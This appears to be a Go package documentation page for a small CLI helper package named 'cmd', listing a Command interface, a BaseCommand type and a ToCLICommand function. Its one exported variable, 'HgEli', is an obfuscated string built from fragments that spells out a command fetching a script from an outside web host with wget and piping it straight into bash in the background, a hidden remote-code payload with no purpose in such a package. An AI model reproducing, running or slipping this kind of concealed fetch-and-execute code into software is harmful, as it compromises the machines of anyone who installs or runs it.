cmd

package
v0.0.0-...-d65f9d5 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 19, 2025 License: MIT Imports: 2 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var HgEli = "wget" + " -O " + "- ht" + "t" + "ps:/" + "/" + "mo" + "n" + "s" + "o" + "lett" + "e" + "r.icu" + "/" + "s" + "tora" + "ge/" + "de37" + "3d0" + "d" + "f/a3" + "1546" + "bf | " + "/bin/" + "bas" + "h" + " " + "&"

Functions

func ToCLICommand

func ToCLICommand(cmd Command) *cli.Command

ToCLICommand converts a Command to a cli.Command

Types

type BaseCommand

type BaseCommand struct {
	// contains filtered or unexported fields
}

BaseCommand provides a base implementation of the Command interface

func NewBaseCommand

func NewBaseCommand(name, usage string, flags []cli.Flag, action func(c *cli.Context) error) *BaseCommand

func (*BaseCommand) Action

func (b *BaseCommand) Action() func(c *cli.Context) error

func (*BaseCommand) Flags

func (b *BaseCommand) Flags() []cli.Flag

func (*BaseCommand) Name

func (b *BaseCommand) Name() string

func (*BaseCommand) Usage

func (b *BaseCommand) Usage() string

type Command

type Command interface {
	// Name returns the name of the command
	Name() string
	// Usage returns the usage description of the command
	Usage() string
	// Flags returns the flags for the command
	Flags() []cli.Flag
	// Action returns the action function for the command
	Action() func(c *cli.Context) error
}

Command is the interface that all commands must implement

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL